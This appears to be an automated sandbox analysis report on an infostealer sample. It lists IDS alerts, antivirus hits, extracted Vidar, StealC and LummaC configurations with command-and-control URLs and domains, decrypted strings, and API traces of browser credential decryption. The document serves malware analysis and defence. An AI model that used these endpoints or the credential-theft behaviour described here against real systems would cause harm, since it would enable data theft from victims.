2024-10-02T05:20:07.977742+0200	2803304	3	Unknown Traffic	192.168.2.4	49780	46.8.231.109	80	TCP
2024-10-02T05:20:08.702112+0200	2803304	3	Unknown Traffic	192.168.2.4	49780	46.8.231.109	80	TCP
2024-10-02T05:20:09.334117+0200	2803304	3	Unknown Traffic	192.168.2.4	49781	46.8.231.109	80	TCP
2024-10-02T05:20:09.897722+0200	2803304	3	Unknown Traffic	192.168.2.4	49781	46.8.231.109	80	TCP
2024-10-02T05:20:11.785853+0200	2803304	3	Unknown Traffic	192.168.2.4	49782	147.45.44.104	80	TCP
2024-10-02T05:20:12.786858+0200	2803304	3	Unknown Traffic	192.168.2.4	49782	147.45.44.104	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:19:53.637240+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49764	147.45.44.104	80	TCP
2024-10-02T05:19:56.127501+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49764	147.45.44.104	80	TCP
2024-10-02T05:19:58.639608+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49764	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: http://46.8.231.109/	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	URL Reputation: Label: malware

Found malware configuration

Source: 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "7fb8096dba7218243f8f6f7a994751d3"}
Source: 15.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 9.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["questionsmw.stor", "mysterisop.site", "soldiefieop.site", "treatynreit.site", "absorptioniw.site", "snarlypagowo.site", "abnomalrkmu.site", "chorusarorp.site"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for domain / URL

Source: gravvitywio.store

Virustotal: Detection: 8%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\GDBFCGIIIJ.exe	ReversingLabs: Detection: 34%
Source: C:\ProgramData\IIJKJDAFHJ.exe	ReversingLabs: Detection: 42%
Source: C:\ProgramData\KJEGDBKFIJ.exe	ReversingLabs: Detection: 34%
Source: C:\Users\userAFIDGDBGCA.exe	ReversingLabs: Detection: 34%
Source: C:\Users\userBAAAAKJKJE.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfcc301a31_swws[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfcc9963ca_ldfsna[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66fbfccd837ac_vadggdsa[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66fbfcc9963ca_ldfsna[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66fbfccd837ac_vadggdsa[1].exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: absorptioniw.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: mysterisop.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: snarlypagowo.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: treatynreit.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: chorusarorp.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: abnomalrkmu.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: soldiefieop.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: questionsmw.stor
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: chorusarorp.site
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: - Screen Resoluton:
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: Workgroup: -
Source: 9.2.RegAsm.exe.400000.0.unpack	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	2_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	2_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	2_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C116C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6C116C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.132:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.190:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.196:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.193:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.3:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.174:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.12:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.132:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.190:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.196:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.193:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.3:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.174:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.12:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.67.133.187:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.4:49803 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: freebl3.pdb source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, freebl3[1].dll.15.dr
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2404569531.000000006C17D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 00000002.00000002.2367073275.00000000204D6000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.2.dr, freebl3[1].dll.15.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000002.00000002.2391775169.0000000038294000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.2.dr, vcruntime140[1].dll.15.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000002.00000002.2378816613.000000002C3B4000.00000004.00000020.00020000.00000000.sdmp, msvcp140[1].dll.15.dr, msvcp140.dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000002.00000002.2394990249.000000003E206000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.2.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000002.00000002.2348492649.000000001A0D1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2366338106.0000000020048000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2757991017.000000001FD6B000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2603682116.000000002270B000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2372826674.0000000026447000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2404569531.000000006C17D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: RegAsm.exe, 00000002.00000002.2382470007.0000000032328000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.15.dr, softokn3.dll.2.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose,	2_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	2_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	2_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	2_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

2_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	2_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	2_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 64567875h	9_2_00444040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp+08h], ecx	9_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	9_2_0041B000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_004210D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	9_2_0041508C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp+50h], 00000000h	9_2_0041508C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	9_2_004480A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	9_2_004300B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00429140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000688h]	9_2_0041D1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	9_2_0041F1D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	9_2_0044518B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp+18h], 3602043Ah	9_2_0042F1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_00427250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	9_2_00427250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, byte ptr [edx+eax-01h]	9_2_0040C210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, word ptr [esp+eax*4+000000ACh]	9_2_0040C210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp+34h], edx	9_2_004012F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], ax	9_2_0042A280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	9_2_00414294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_0042D295
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+24h]	9_2_0042D295
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+20h]	9_2_00416319
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_00433335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00433335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec ebx	9_2_0043F3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [edi]	9_2_0042A3A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+14h]	9_2_0042A3A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_004214D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_0042D4D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+24h]	9_2_0042D4D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], D518DBA1h	9_2_0043F4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], D1A85EEEh	9_2_0043F4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	9_2_004214EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	9_2_00416574
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+24h]	9_2_0042C510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00431670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00431670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00431670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00431670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00431670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_00431670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	9_2_00431670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+000000D0h]	9_2_0041D672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	9_2_00447630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp al, 2Eh	9_2_0042C6E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_0042C6E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, eax	9_2_0040A680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebp, eax	9_2_0040A680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	9_2_004416A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+000000D0h]	9_2_0041D733
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	9_2_00416866
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+68h]	9_2_00447820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_0042B830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	9_2_0042B830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_0042A8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-000000C0h]	9_2_0040F917
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	9_2_00412920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000080h]	9_2_00412920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_00412920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp dword ptr [00451A70h]	9_2_0042E927
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	9_2_0043B9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+24h]	9_2_0042DA0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	9_2_00449A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ebp+ebx+00h], 00000000h	9_2_0042DB4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	9_2_00404B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	9_2_00443B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp dword ptr [0045042Ch]	9_2_0041FB73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	9_2_00446BE5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov esi, ebx	9_2_00448BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_00433BFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_00433BFE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	9_2_00449BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+54h]	9_2_0041FBB1
